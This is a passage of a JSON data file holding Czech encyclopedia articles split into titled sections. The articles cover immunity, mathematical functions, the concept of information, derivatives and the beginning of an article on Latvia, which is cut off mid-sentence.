nabídne buňkám adaptivní imunity, tak dojde k bunečnému dělení příslušného T buněčného klonu (jeden z mnoha milionů T buněk v našem těle) a během tří až sedmi dní může dojít k zahájení účinné adaptivní imunitní odpovědi. Adaptivní imunita má navíc schopnost si tuto odpověď zapamatovat a budoucí imunitní odpověď je obvykle mnohem silnější a rychlejší. Tento proces, známý jako imunologická paměť, je podstatou adaptivní imunity vůči konkrétnímu antigenu, který může pocházet z patogenního mikroorganizmu. Adaptivní imunita je tedy zprostředkována zejména lymfocyty: T-lymfocyt představuje především složku buněčné imunity, zatímco B-lymfocyty jsou účinné nástroje humorální (látkové) imunity a produkují tzv. protilátky.", "Dlouhou dobu byla u hmyzu a ostatních bezobratlých uznávána pouze přirozená imunita. Během posledních let ovšem došlo k objevům, které pohled na hmyzí imunitu změnili. Bylo dokázáno, že hmyz je schopný zachovávat imunitní paměť a specifickou odpověď, což jsou znaky adaptivního imunitního systému. Navzdory přítomnosti těchto znaků nemůžeme ovšem u hmyzu hovořit o vysloveně adaptivní imunitě, chybí buňky adaptivní imunity a mechanismy umožňující paměť a specificitu se liší. Imunitní paměť hmyzu byla objevena prostřednictvím fenoménu \"primingu\". Pokud je hmyz vystaven velmi malé dávce nebo usmrcenému patogenu je schopný rozvinout jakousi imunitní paměť na jejímž základě je schopný při příštím setkání se stejným patogenem vydržet i jinak smrtelnou dávku. Na rozdíl od obratlovců nemá hmyz buňky adaptivního imunitního systému. Místo toho plní tuto roli hemocyty. Hemocyty fungují jako fagocyty a po primingu mají zvýšenou schopnost najít a pozřít patogen. Bylo také ukázáno, že je možné přenášet primovanou paměť z rodičů na potomky. Například u včel je v případě onemocnění královny bakteriální infekcí u nové generace dělnic zvýšena schopnost s touto infekcí bojovat. Na experimentálním modelu založeném na potemníkovi bylo také dokázáno, že je možné přenést paměť proti patogenu jak od matky, tak od otce. Nejběžněji přijímanou teorií vysvětlující mechanismus specificity u hmyzu je teorie \"Dscam\". \"Dscam\" jinak známý jako Down syndrome cell adhesive molecule je gen obsahující 3 imunoglobulinové domény. Alternativním sestřihem těchto domén vzniká velké množství odlišných variant. Po setkání s patogenem dochází k produkci odlišných forem \"Dscam\". Pokud vystavíme jedince s odlišnými formami \"Dscam\" stejnému patogenu, pak přežijí jen ti jedinci s \"Dscam\" variantou odpovídající tomuto patogenu. Další mechanismy podporující specificitu hmyzí imunity je RNA interference (RNAi). RNAi je forma antivirové imunity s vysokou specificitou. Skládá se z několika odlišných drah, které mají ovšem všechny za následek neschopnost viru se replikovat. Jednou z těchto drah je siRNA, kde je dvouvláknová RNA sestřižena na několik kusů, které slouží jako templáty pro proteinový komplex Ago2-RISC, který vyhledává komplementární virovou RNA a degraduje ji. Další drahou je miRNA, které se v cytoplazmě váže na komplex Ago1-RISC a funguje opět jako templát pro degradaci virové RNA. Poslední drahou je piRNA, kde se malá RNA váže na proteiny skupiny Piwi a kontroluje transpozóny a jiné mobilní elementy. Navzdory výzkumu zůstávají přesné mechanismy a detaily imunitního primingu a specificity u hmyzu neznámé.", "", "Takzvanou buněčnou imunitu zajišťují buňky označované jako bílé krvinky. Existuje mnoho typů bílých krvinek. U většiny živočichů se vyskytují zejména tzv. fagocytární buňky, schopné jednoduchých a nespecifických způsobů obrany proti choroboplodným zárodkům. U člověka k této nespecifické obraně patří například makrofágy nebo neutrofily. U většiny obratlovců se vyskytuje i druhý typ bílých krvinek, a to tzv. lymfocyty, které vyvíjí rafinovanější metody vyhledání a usmrcení patogenních organizmů či nádorových buněk. V lidské krvi je asi 7,4×10 bílých krvinek na litr krve, tedy mnohem méně než červených krvinek; zrají především v kostní dřeni, ale dále také v brzlíku i jinde. Pokud bílé krvinky nefungují tak, jak mají, může to vyvolat vážná onemocnění, spadající do kategorie autoimunity či imunodeficience (nedostatku imunity).", "Látková či také humorální imunita je druhou klíčovou složkou imunitní obrany. Stejně jako v případě buněčné imunity, i humorální imunita může být součástí jak přirozené, tak adaptivní složky imunitního systému. V některých případech se však význam látkové imunity omezuje pouze na protilátky čili imunoglobuliny. Tyto bílkoviny jsou produkovány B-lymfocyty a specificky se vážou na antigen (v praxi povrch parazita, viru,...) a navozují následně jeho zneškodnění. Další významnou složkou látkové imunity je tzv. komplement, který je vlastně přirozeným imunitním štítem (označuje cizorodé struktury, usmrcuje patogenní buňky či vyvolává zánět). Dále se sem mohou řadit interferony, látky produkované některými bílými krvinkami zejména jako reakce na napadení virem.", "přirozená imunita vychází například z nějaké vlastnosti, která způsobuje, že organismus daného druhu, skupiny nebo vývojového stadia nemůže být určitým typem nemoci vůbec napaden. Příkladem může být odolnost většiny ptáků proti mnoha chorobám člověka, která vychází z toho, že přirozená teplota jejich organismu je 40 stupňů Celsia a ta neumožní původcům těchto chorob dostatečně efektivní množení. Získaná imunita je zaměřena proti určité konkrétní nemoci. Lze ji získat očkováním, proděláním patřičné choroby nebo choroby jí blízce příbuzné. Může být časově omezena. Její podstata spočívá v tom, že si organismus uchová část B lymfocytů (tzv. paměťový T-lymfocyt, viz imunologická paměť), které jsou odpovědné za výrobu specifických protilátek proti patřičnému patogenu. Organismus tak může spustit specifickou imunitní odpověď okamžitě a masově po zaznamenání infekce, aniž by předtím musel složitě hledat vhodné buňky k produkci patřičných protilátek. Právě této vlastnosti využívá očkování." ] }

{ "title": [ "Definice.", "Poněkud neformální.", "Matematicky přesnější.", "Způsoby zadání funkce.", "Analyticky.", "Příklad.", "Graficky.", "Příklad.", "Tabulkou (výčtem hodnot).", "Příklad.", "Typy funkcí.", "Algebraická a transcendentní funkce.", "Rekurzivní funkce.", "Operace s funkcemi." ], "section_level": [ "1", "2", "2", "1", "2", "3", "2", "3", "2", "3", "2", "2", "2", "1" ], "content": [ "", "Na množině čísel formula_1 je definovaná funkce, je-li dán předpis, podle kterého je každému \"x\" náležícímu do množiny formula_2 přiřazeno právě jedno číslo \"y\". Značíme: formula_6. Proměnná formula_7 se označuje jako argument funkce (nezávisle proměnná). Proměnná formula_8 je funkční hodnota (závisle proměnná). Množinu formula_3, na které je funkce definovaná, nazýváme (definičním) oborem (nebo také doménou) funkce. Pokud není při zadání funkce uveden definiční obor, pak se za definiční obor obvykle považuje množina všech hodnot nezávisle proměnné, pro něž má funkce smysl. Definičním oborem může být například množina celých, reálných nebo komplexních čísel. Definiční obor může mít i více dimenzí. Pokud má dvě, pak můžeme říkat, že má funkce dva argumenty, nebo že jejím argumentem je jeden dvourozměrný vektor. Jedná se o dva pohledy na stejnou věc. V případě, že má vektor, který je argumentem funkce, nekonečnou dimenzi (většinou nespočetnou), nemluvíme již o funkci, ale o funkcionálu. Množinu všech čísel formula_10, takových, že formula_11, nazýváme oborem hodnot (kooborem) dané funkce.", "Funkcí rozumíme zobrazení formula_12 z libovolné množiny formula_1 do číselné množiny formula_14. Funkce formula_12 je binární relací formula_16, kde platí, že každému prvku formula_17 je přiřazeno nejvýše jedno číslo formula_18, že formula_19 (jestliže formula_20 a formula_21, pak formula_22). Místo formula_19 často píšeme formula_6, kde formula_8 nazýváme funkční hodnotou funkce formula_12. Definičním oborem funkce je pak podmnožina formula_3 všech prvků množiny formula_1, ke kterým taková uspořádaná dvojice existuje právě jedna. Říkáme, že pro prvky množiny formula_1, které nejsou prvky definičního oboru, daná funkce není definována. Oborem hodnot dané funkce je množina všech prvků \"y\" množiny \"T\", ke kterým v relaci existuje alespoň jedna uspořádaná dvojice formula_19, kde formula_31.", "", "Analytickým předpisem rozumíme zadání funkce ve formě formula_32, pak říkáme, že funkce je zadána \"explicitním vyjádřením\" (explicitní funkce). Funkci můžeme vyjádřit také v \"implicitním tvaru\" (implicitní funkce) jako formula_33. Dalším způsobem je zápis v \"parametrickém tvaru\" (parametrická funkce) soustavou rovnic formula_34, formula_35, kde formula_36 je vhodný parametr.", "Např. formula_37 je explicitní zápis kvadratické funkce. V implicitním tvaru lze stejnou rovnici zapsat jako formula_38. V parametrickém tvaru lze zvolit např. soustavu rovnic formula_39, formula_40.", "Při grafickém zadání funkci vyjádříme grafem.", "Příklad zadání funkce grafem (formula_41 označuje definiční obor a formula_42 obor hodnot)", "Funkční předpis může být zadán také výčtem hodnot, který obvykle uspořádáme do tabulky.", "Příkladem může být např. zadání funkce Definičním oborem je zde množina formula_43 a oborem hodnot je množina formula_44.", "Je-li nezávisle proměnná z množiny reálných čísel, pak hovoříme o \"funkci reálné proměnné\", pokud je nezávisle proměnná z množiny komplexních čísel, hovoříme o \"funkci komplexní proměnné\". Pokud je závislá proměnná z množiny reálných čísel, pak se jedná o \"reálnou funkci\", je-li z množiny komplexních čísel, jde o \"komplexní funkci\". Např. komplexní funkce reálné proměnné přiřazuje každému reálnému číslu (z definičního oboru) komplexní číslo. Argumentem funkce nemusí být jen čísla, ale mohou jím být také matice, vektory, tenzory, apod. Pak podle typu argumentu hovoříme o maticové funkci, vektorové funkci, tenzorové funkci, apod. O funkci obsahující jedinou nezávisle proměnnou hovoříme jako o \"funkci jedné proměnné\", např. formula_32. Funkce obsahující dvě (nebo více) nezávislých proměnných pak označujeme jako \"funkci dvou (tří, čtyř,...) proměnných\", např. formula_46 je funkce dvou proměnných formula_7 a formula_8. Funkci formula_49-proměnných zapisujeme jako", "Funkci je \"algebraická\", pokud ji lze vyjádřit ve tvaru polynomu, například pokud lze funkci formula_32 vyjádřit jako formula_58, kde formula_59 je polynom, pak se jedná o algebraickou funkci. Stupeň polynomu formula_59 pak určuje stupeň funkce. Funkce, které nejsou algebraické, se označují jako \"transcendentní\". Mezi transcendentní funkce se řadí funkce sinus, kosinus, tangens, kotangens, exponenciální, logaritmické, případně další, které není možné vyjádřit pomocí elementárních funkcí. Algebraické funkce lze dále rozdělit na \"racionální funkce\" a \"iracionální funkce\". Iracionální funkce jsou funkce obsahující formula_61, kde formula_62 jsou nesoudělná čísla. Transcendentní funkce lze rozdělit na \"nižší\", kam patří například exponenciální, logaritmické, goniometrické a cyklometrické funkce, a \"vyšší,\" například chybová funkce n. eliptické integrály. Vyšší transcendentní funkce nelze pomocí elementárních funkcí vyjádřit v konečném tvaru.", "Zvláštním případem zadání funkce je tzv. rekurzivní funkce. Zadání funkce rekurentně je zadání předpisu, který dává do vztahu nějaké hodnoty funkce s jinými hodnotami takovým způsobem, že funkce je dobře definována. Příkladem takové funkce může být např. funkce definovaná na přirozených číslech, kterou definujeme vztahy formula_63 a formula_64 pro formula_65. Uvedenou funkci lze také zapsat jako formula_66, tzn. tato funkce počítá faktoriál. Celý proces výpočtu rekurzivní funkce je označován jako rekurze a našel uplatnění především ve výpočetní technice.", "Mějme funkci formula_67 s definičním oborem formula_68 a funkci formula_69 s definičním oborem formula_70. Společný definiční obor obou funkcí je průnikem obou definičních oborů, tzn. formula_71. Funkce formula_72 jsou si na formula_3 rovny, pokud platí formula_74 pro všechna formula_31. \"Součtem funkcí\" formula_72 na formula_3 označíme funkci formula_78 takovou, že formula_79 pro všechna formula_31. \"Součinem funkcí\" formula_72 na formula_3 označíme funkci formula_78 takovou, že formula_84 pro všechna formula_31. \"Podílem funkcí\" formula_72 na formula_87 označíme funkci formula_78 takovou, že formula_89 pro všechna formula_90, kde formula_87 je definiční obor formula_3, z něhož byla vyňata všechna formula_7, pro která platí formula_94." ] }

{ "title": [ "Výklad pojmu informace.", "Definice.", "Vlastnosti informace.", "Původ pojmu.", "Šíření a uchovávání informace.", "Přenos informace.", "Zpracování informací.", "Měření informace.", "Informace v dalších vědách." ], "section_level": [ "1", "1", "1", "1", "1", "1", "1", "1", "1" ], "content": [ "Ve starší odborné literatuře můžeme najít snahu o uchopení pojmu informace rozdělením vnitřního obsahu pojmu do několika kategorií. (Niedhardt P.: Einführung in die Informationstheorie. Verlag Technik Berlin, Berliner Union Stuttgart 1957)", "Fyzikální definice: Informace je schopnost organizovat, nebo v organizovaném stavu udržovat. Informace obecně je proces vnímání a poznávání vlastností a uspořádání objektů kolem nás. Pro živé bytosti lze definici informace doplnit také tím, že informace je odpovědí na otázku. Definice z teorie informace: Informaci \"I(X;Y)\" ve zprávě \"Y\" o zprávě \"X\" zdroje formula_1 definujeme jako relativní entropii formula_2 mezi skutečným rozdělením \"p(x,y)\" dvojice zpráv \"(X,Y)\" a součinovým rozdělením \"q(x,y) = p(x)p(y)\", kterým by se dvojice řídila, kdyby její komponenty \"X\" a \"Y\" byly vzájemně nezávislé, tj.", "Informace (aby dostála fyzikální definici) musí mít určité vlastnosti Informace by měla být: Informace je nezávislá na svém energetickém nosiči. Změna energetického nosiče má za následek pouze změnu vlastností přenosové trasy (kanálu), ale smysl či obsah informace nemění. Je to jako s přepravou nákladu – náklad se nemění, ať použijeme k přepravě koně, auto, nebo letadlo. Některé souvislosti Záměrně falešná „informace“ se nazývá dezinformace nebo lež, pracuje s ní například propaganda. Rozdíl mezi dezinformací a lží spočívá v tom, že lež je používána pasivně jako obrana, zatímco dezinformace je aktivní. Nezáměrně špatná informace je chyba nebo omyl. Dezinformace, stejně jako chyba či omyl vede k nárůstu entropie systému, zatím co informace vede k poklesu entropie. Živé organizmy mají zápornou entropii. Informace souvisí s rozlišováním, s rozdílem a určeností (například jako černé písmeno na bílém papíře). Informace má význam a je ji třeba odlišit od jejího hmotného nosiče – ať je to hlas, zvuk, obraz, písmo nebo disk. Povahu informace dobře vystihuje definice amerického antropologa Gregory Batesona: informace podle něho znamená „takový rozdíl, na němž záleží“ (\"the difference which makes difference\").. Schopnost rozlišení informace (srozumitelnosti) pak souvisí s tzv. odstupem signálu od šumu, který se udává v decibelech jako 10 × logaritmus poměru energie šumu k energii signálu.", "Latinské \"informatio\" znamená původně vtištění formy či tvaru, utváření. Slovo se však metaforicky používalo pro „utváření mysli“ – učení a vzdělávání – a odtud dalším významovým posunem mohlo znamenat i sdělení, zprávu. Odtud pochází slovo informátor, doložené od 16. století. Zkrácený tvar info vznikl až ve 20. století v angličtině. Vědecký zájem o informaci začíná také až ve 20. století v souvislosti s elektronickou komunikací a počítači a na druhé straně se studiem obecného uspořádání, struktur a kódů.", "Rostoucí význam informací ve smyslu vědomostí a zpráv obrátil od konce 19. století pozornost vědců – zejména lingvistů – ke studiu znakových systémů a kódů. Informace se šíří řečí a v historické době i písmem, které ji kódují pomocí slov, hlásek a písmen. Ty nesou informaci jen proto, že tvoří ucelené systémy (slovník, fonetiku, abecedu): hlásky nesou význam jen potud, pokud se od sebe zřetelně liší (Ferdinand de Saussure). S písmem vznikla první možnost trvalého uchovávání informace na hmotném nosiči, jež se dále rozvinula knihtiskem a konečně i elektronickými způsoby uchovávání kódované informace. Odtud vznikl i pojem informační společnost – společnost, která se ve stále větší míře opírá o shromažďování, využívání a šíření informací.", "S rozvojem elektrických a elektronických komunikací se informace stává i technickým pojmem, i když v poněkud posunutém významu, který se soustřeďuje na kódování informace a nezabývá se jejím smyslem či obsahem. Základním modelem pro přenos informace je soustava vysílač (kodér) – kanál – přijímač (dekodér). Roku 1948 publikoval Claude Shannon, který pracoval pro Bellovy laboratoře, průkopnickou publikaci \"A Mathematical Theory of Communication\", v níž se soustřeďuje na přenos zpráv, kódovaných v nějaké abecedě o konečném nebo spočetném množství znaků. Tak se stal jedním ze zakladatelů teorie informace.", "Zatímco účelem analogového přenosu informace je pouze přeměna hlasu nebo obrazu na elektrický signál, jeho věrný (nezkreslený) přenos a opačná změna na zvuk nebo obraz, už v telegrafii se objevila možnost úsporného kódování znaků. Morseova abeceda kóduje písmena a číslice do posloupností krátkých a dlouhých signálů (tečka a čárka), které se snadno a spolehlivě přenášejí. Na podobném základě pracuje i dálnopis, kde se však převod znaků abecedy do binárního tvaru (a nazpět) děje automaticky. Kódovaná informace a její nosiče (děrná páska, děrný štítek, magnetické nosiče atd.) otevřela i další možnosti strojového zpracování informace, z nichž se vyvinula současná počítačová technika a informatika. Slovo „informace“ se zde však používá v několika rovinách: text, který právě píši, kóduji do písmen, ta se v počítači převádějí na binární kódy (ASCII, UNICODE) a přenášejí mezi počítači v určitých formátech, ale nakonec jako posloupnosti elektrických signálů, případně optických či elektromagnetických. Informace, které do systému vkládáme, dospějí ke svým adresátům jen tehdy, pokud všechny tyto transformace jejich kódování a zobrazení proběhnou podle přesně stejných pravidel v přijímači jako ve vysílači, jen v opačném směru. Přenosové sítě proto musejí pracovat s víceúrovňovými modely, kde si vysílače a přijímače na jednotlivých úrovních „rozumějí“: pisatel se čtenářem, program s programem, počítač s počítačem, modem s modemem atd. Zpracováním informací obecněji se rozumí nejen přenos, ale i transformace informací. V počítačích a spol. se informace reprezentují pomocí dat – \"na kteréžto jsem wikilink dosud neviděl a o kterých zde máme pěkný refaktorizovaný článek\".", "Množství informace na hmotném nosiči lze dokonce měřit. V knihovnictví se užívá měření na stránky, novináři počítají slova nebo znaky a v počítači se informace měří na bajty nebo bity. Jeden bit, odpovídá jednomu rozlišení typu „ano - ne“, nese informaci, ze které se dozvíme, který stav nastal ze dvou stavů stejně pravděpodobných (např. házení mincí). Je to základní jednotka informace. Bajt (anglicky ) je skupina zpravidla osmi bitů, tím pádem může nabývat 256 různých hodnot a zhruba tak odpovídá jednomu znaku abecedy evropského jazyka (asijské symboly bývají obvykle kódovány užitím 2 až 4 bajty). Je to ovšem množství informace pouze v technickém smyslu slova: stránka textu může mít 1800 bajtů, to ale neříká nic o tom, co je v nich zaznamenáno. Stejnou velikost mohou mít užitečné a smysluplné zprávy, prázdné řeči nebo konečně i samé mezery. Pro stanovení informační hodnoty souboru dat lze použít entropii.", "Vedle běžného významu informací jako zpráv a vědomostí se informace dnes stala odborným pojmem v biologii i ve společenských vědách, zejména pod vlivem objevu genomu a genetického kódu. Zde je často ztotožňována informace s jejím původem, spočívajícím ve vlastnostech a uspořádání pozorovaných objektů. Genetická informace je totiž kódována pomocí pouhých čtyř nukleotidů (ACTG), jejichž trojice (kodóny) řídí syntézu proteinů; běžnými prostředky lze tedy měřit její informační obsah. Podobný informačně teoretický pohled se dnes rozvíjí také ve fyzice i ve společenských vědách." ] }

{ "title": [ "Intuitivní výklad.", "Definice derivace.", "Zápis derivace.", "Zobecnění.", "Parciální derivace.", "Derivace ve směru.", "Totální (úplná) derivace.", "Komplexní derivace.", "Derivace vektorů a tenzorů.", "Derivace vyššího řádu.", "Výpočty derivací.", "Algebraická pravidla.", "Aplikace.", "Lokální extrémy.", "Analýza chování funkce.", "Fyzika.", "Diferenciální rovnice." ], "section_level": [ "1", "1", "2", "1", "2", "2", "2", "2", "2", "1", "1", "2", "1", "2", "2", "2", "2" ], "content": [ "Na obrázku je graf funkce, která má v bodě \"x\" hodnotu \"f(x)\". V bodě \"x\"+Δ\"x\" má hodnotu \"f(x\"+Δ\"x)\" a spojnice obou bodů tvoří sečnu křivky. Její směrnici (sklon) lze vyjádřit jako poměr \"(f(x\"+Δ\"x) - f(x))\" / Δ\"x \". Budeme-li nyní oba body přibližovat, tj. zmenšovat diferenci Δ\"x\" až k nule, přejde sečna nakonec v tečnu. Tečna svírá úhel s osou x a tangens tohoto úhlu nazýváme směrnicí tečny. Derivaci funkce v bodě lze s dostatečnou přesností aproximovat právě jako tuto směrnici tečny. Je-li v bodě \"x\" křivka rostoucí, bude její derivace >0 a je-li klesající, bude derivace <0. Pokud křivka v bodě \"x\" dosahuje maxima nebo minima a tečna je tedy rovnoběžná s osou \"x\", bude derivace rovna nule. Na dalším obrázku je znázorněná grafická derivace funkce sinus pomocí tečny.", "Historické definice vyjadřovaly derivaci jako poměr, v jakém růst či pokles závislé proměnné \"y\" odpovídá změně nezávisle proměnné \"x\". Nejjednodušší představa o derivaci je, že „derivace je mírou změny funkce v daném bodě, resp. bodech“. Pro změnu hodnoty se používá symbol Δ, takže tento poměr lze symbolicky zapsat jako Derivace je hodnota podílu pro Δ\"x\" jdoucí k 0. Nahradíme-li konečně malý rozdíl Δx nekonečně malou změnou d\"x\", získáme intuitivní definici derivace což naznačuje poměr dvou infinitezimálních hodnot. Derivace vskutku je podílem dvou diferenciálních forem – diferenciálu závislé a diferenciálu nezávislé proměnné. Tento (Leibnizův) zápis se čte \"dy podle dx\" a chápe buď jako jediný symbol, označující prostě jen derivování funkce \"y\" podle proměnné \"x\", anebo opravdu i jako zlomek. V tom případě lze diferenciály chápat buď elementárněji jako diferenciální formy anebo jako nekonečně malé veličiny (v rámci tzv. nestandardní analýzy, kterou pěstoval mj. i český matematik Petr Vopěnka). Během vývoje matematiky se intuitivní představa nekonečně malých (infinitezimálních) hodnot ukázala jako nedostatečně přesná a byla nahrazena „ε-δ“ formalismem limit. Nejběžnější moderní definice derivace je:", "Derivace se značí několika způsoby (v závorce je čtení zápisu): Ne vždy však limita, která derivaci definuje, existuje a je konečná, tzn. ne každá funkce má v každém bodě derivaci. Pokud je limita nevlastní, pak derivace neexistuje, resp. můžeme říci, že je v daném bodě derivace nevlastní. Říkáme, že funkce \"f\" je v bodě \"x\" diferencovatelná, pokud v tomto bodě derivace existuje; funkce je diferencovatelná na intervalu \"I\", pokud je diferencovatelná v každém bodě tohoto intervalu. Funkce nemá derivaci v místě, kde není spojitá, ale spojitost funkce existenci derivace nezaručuje – funkce může mít v daném bodě svislou tečnu (což by odpovídalo nevlastní, nekonečné derivaci), popř. v daném bodě nemusí mít tečnu vůbec (v místě, kde má graf funkce „špičku“). Existují dokonce funkce, které jsou spojité v každém bodě, ale nemají v žádném bodě derivaci (např. tzv. Weierstrassova funkce). Pokud je daná funkce diferencovatelná na nějakém intervalu, můžeme na tomto intervalu definovat funkci, která je v každém bodě tohoto intervalu rovná příslušné derivaci. Taková funkce se pak označuje prostě jako \"derivace funkce f\". Derivací diferencovatelné funkce je tedy opět funkce, která ovšem někdy může být také diferencovatelná. Derivaci derivace funkce nazýváme druhá derivace, derivaci druhé derivace třetí derivace atd. Tyto derivace vyšších řádů se obvykle značí \"f′′\"(\"x\"), \"f′′′\"(\"x\"), pro ještě vyšší řády pak spíše \"f\"(\"x\"), \"f\"(\"x\") atd. Při použití Leibnizovy notace se derivace vyšších řádů označují exponentem, např. formula_10 (d třetí y podle d x na třetí). Z derivace lze naopak získat původní funkci integrováním, pokud známe funkční hodnotu původní funkce aspoň v jednom bodě (tzv. počáteční podmínku).", "", "Zobecněním pojmu derivace pro funkce více proměnných je tzv. parciální derivace, kdy se u funkce více proměnných považuje za proměnnou jenom ta, podle které se derivuje, ostatní jsou v tomto výpočtu považovány za konstanty. Parciální derivace se značí obdobně jako obyčejné derivace, pouze místo symbolů \"d\" se používají symboly ∂, např.: formula_11 značí parciální derivaci funkce \"f\" podle proměnné \"y\". Definice: Nechť formula_12 jsou normované prostory, Říkáme, že zobrazení formula_13je Fréchetovsky (Gatteauxovsky) derivovatelné v bodě formula_14 v formula_15-té souřadnici pokud zobrazení formula_16(tedy, zobrazení se všemi souřadnicemi FIXOVANÝMI) je F-(G-) diferencovatelné v bodě formula_17.", "Pro funkci více proměnných je derivace ve směru vektoru v definována vztahem Pokud je funkce \"f\" v bodě x diferencovatelná, potom platí kde formula_20 je gradient funkce \"f\" v bodě x a formula_21 značí skalární součin. Hodnota derivace ve směru vektoru v záleží na velikosti vektoru |v|, proto se často vyžaduje, aby |v| = 1. Někdy se také používá definice, která na velikosti vektoru v nezávisí:", "Totální derivace je derivace funkce více proměnných, která na rozdíl od parciální derivace zohledňuje závislosti mezi jednotlivými proměnnými.", "O komplexní funkci formula_23 řekneme, že má v formula_24 derivaci, pokud existuje limita Derivace existuje pouze tehdy, pokud předchozí limita nezávisí na směru, kterým se v komplexní rovině přibližujeme ke komplexnímu bodu formula_24. Tato podmínka je vyjádřena Cauchyho-Riemannovými podmínkami. Pokud má formula_23 v bodě formula_24 derivaci, pak je v formula_24 spojitá. Komplexní funkci, která má v bodě formula_24 derivaci, označujeme jako monogenní v bodě formula_24. Pokud má formula_23 derivaci v každém bodě oblasti formula_33, pak říkáme, že je v formula_33 \"holomorfní\". Je-li holomorfní funkce formula_23 víceznačná, označujeme ji jako analytickou.", "Derivací vektoru formula_36 podle proměnné \"t\" rozumíme vektor, jehož složky získáme derivací složek vektoru formula_36, tzn. Obdobně postupujeme při derivaci tenzorů.", "Derivaci funkce formula_39, tzn. formula_40, také označujeme jako \"první derivaci\" (\"derivaci prvního řádu\"). Funkci formula_40 lze opět derivovat, čímž získáme \"druhou derivaci\" (\"derivaci druhého řádu\") funkce formula_39 Dalším derivováním můžeme získat vyšší derivace funkce formula_39, které značíme formula_45, atd. Používá se také jiné značení, při němž \"n\"-tou derivaci značíme jako formula_46, popř. pro označení derivace v bodě \"a\" lze použít formula_47. Někdy je výhodné použít také tzv. nultou derivaci funkce formula_39, za niž považujeme samotnou funkci formula_39, tzn. formula_50. Definici lze rozšířit i na záporné a „necelé“ řády. Jako přirozené se jeví ztotožnit \"minus první\" derivaci s integrálem formula_51 a derivaci \"minus n-tého\" řádu s výrazem formula_52, neboť prvním resp. \"n\"-tým derivováním dostaneme základní funkci. Pro nepřirozené \"s\">0 pak jen faktoriál nahradíme gama funkcí: formula_53. Derivace reálného \"r-tého\" řádu (\"r\">0) je pak definována jako formula_54, kde \"n\" je nejnižší přirozené číslo větší než \"r\"; vše za předpokladu, že existuje „vnitřní“ derivace záporného (\"r-n\")-tého řádu. Pozn.: Nejnižší \"n\" se bere proto, že zatímco pro záporné řády je zajištěna komutativnost a aditivnost (tj. dvě postupně provedené derivace záporného řádu, jestliže existují, jsou ekvivalentní jedné derivaci s řádem daným součtem obou řádů bez ohledu na pořadí), pro kladné řády to obecně neplatí.", "Principiálně základní technikou je výpočet přímo z definice, tzn. dosazením příslušné funkce do definující limity a výpočtem této limity. Tento způsob je však obvykle (až na velice jednoduché funkce) dosti komplikovaný a v praxi se nepoužívá. Místo toho se derivace funkcí počítají ze známých derivací několika základních funkcí a jednoduchých algebraických pravidel pro jejich skládání a další úpravy.", "Ze známých derivací elementárních funkcí se derivace složitějších funkcí sestavují tak, že se složitější funkce rozloží na jednodušší pomocí jednoduchých algebraických pravidel, která pro výpočet derivací platí: Z některých předchozích pravidel je vidět, že Leibnizova notace umožňuje některé manipulace, které připomínají např. krácení zlomku. Je ale třeba podotknout, že se jedná jen o symbolické manipulace, s krácením zlomku nemající nic společného. V žádném případě pak není možné „krátit d“ stylem d\"x\"/d\"y\" = \"x\"/\"y\". kde formula_86 jsou binomické koeficienty a formula_87, atd.", "Pojem derivace se objevuje v obrovském množství situací, jak v matematice samé, tak i v jejích aplikacích, např. ve fyzice.", "Pokud má daná diferencovatelná funkce nějaký lokální extrém (lokální maximum či minimum), je zřejmé, že její tečna v tomto bodě musí být vodorovná, tzn. derivace této funkce musí být v tomto bodě nulová. (Pokud funkce v nějakých bodech tečnu, resp. derivaci nemá, derivace o takových bodech samozřejmě nic prozradit nedokáže.) Pokud v tomto bodě lze spočítat i druhou derivaci, prozradí její znaménko, o jaký extrém se jedná: Alternativou k rozlišení pomocí druhé derivace je znaménko první derivace: v bodě, kde má funkce lokální extrém, mění první derivace znaménko: pokud je nějaký bod lokálním minimem, pak v jeho levém okolí je první derivace záporná a v pravém okolí kladná, naopak v levém okolí lokálního maxima je první derivace kladná a v pravém záporná. Tato kritéria se často používají v optimalizačních úlohách. Pokud je např. požadováno najít obdélník, který při zadaném obvodu má maximální plochu, je třeba najít maximum funkce \"f\"(\"x\") = \"x\" ⋅ (\"o\"/2 − \"x\"). Její derivací je funkce \"f′\"(\"x\") = \"o\"/2 − 2\"x\", která je nulová pro \"x\" = \"o\"/4. Druhá derivace funkce \"f\" je \"f′′\"(\"x\") = −2, tzn. je všude záporná. V bodě \"x\" = \"o\"/4 má tedy funkce \"f\" maximum. Znamená to tedy, že ze všech obdélníků o zadaném obvodu má největší obsah ten, který má všechny čtyři strany stejně dlouhé, tzn. čtverec.", "Předchozí odstavec popisuje způsob, jak pro danou funkci nalézt její lokální extrémy. To může kromě optimalizačních úloh sloužit také k získání přehledu o chování funkce, např. při ručním náčrtu jejího grafu. Kromě analýzy extrémů lze využít derivací k následujícím pozorováním:", "Jednoznačně nejdůležitější oblastí použití derivace ve fyzice jsou derivace podle časové proměnné, vyjadřující rychlost změny nějaké proměnné v čase. Nejběžnější pak jsou časové derivace polohy, které se vyskytují v klasické kinematice: Kromě těchto základních pojmů se derivace objevují v mnoha teoriích fyzikálních polí, Maxwellových rovnicích atd.", "Mnoho vědeckých problémů lze formulovat v podobě rovnic, ve kterých se vedle sebe vyskytuje nějaká funkce i její derivace. Takové rovnici se říká diferenciální rovnice. Diferenciální rovnice se objevují snad ve všech vědeckých oborech, kromě matematiky a fyziky také např. v chemii, sociologii, ekologii atd. Podle toho, zda se v rovnici objevují pouze „obyčejné“ derivace, nebo i parciální derivace, se rozlišují" ] }

{ "title": [ "Název.", "Dějiny.", "Geografie.", "Povrch.", "Podnebí.", "Politika.", "Ekonomika.", "Obyvatelstvo.", "Kultura.", "Věda.", "Sport." ], "section_level": [ "1", "1", "1", "2", "2", "1", "1", "1", "1", "1", "1" ], "content": [ "Jméno \"Latvija\" vzniklo z názvu starobylého baltského (indoevropského) kmene Latgalů (lotyšsky \"Latgali\"), z něhož vzniklo etnické jádro lotyšského národa.", "Brestlitevský mír z 3. března 1918 potvrzoval vítězství ústředních mocností ve východní Evropě během první světové války. Německo dobylo Pobaltí (Estonsko, Livonsko, Kuronsko). Lotyšsko vyhlásilo nezávislost na Německu 18. listopadu 1918. Po vypuknutí druhé světové války bylo 17. června 1940 okupováno a posléze anektováno Sovětským svazem. Během jednoho roku sovětské vlády před německou invazí byly desítky tisíc Lotyšů odvlečeny do sibiřských gulagů nebo povražděny. Němečtí vojáci byli proto na začátku války poměrně značnou částí obyvatelstva vítáni jako osvoboditelé, avšak v průběhu války se obyvatelstvo z důvodu zvěrstev páchaných německou armádou postavilo proti Němcům. Nacisté a místní kolaboranti povraždili přes 60 000 lotyšských Židů, mnoho z nich při 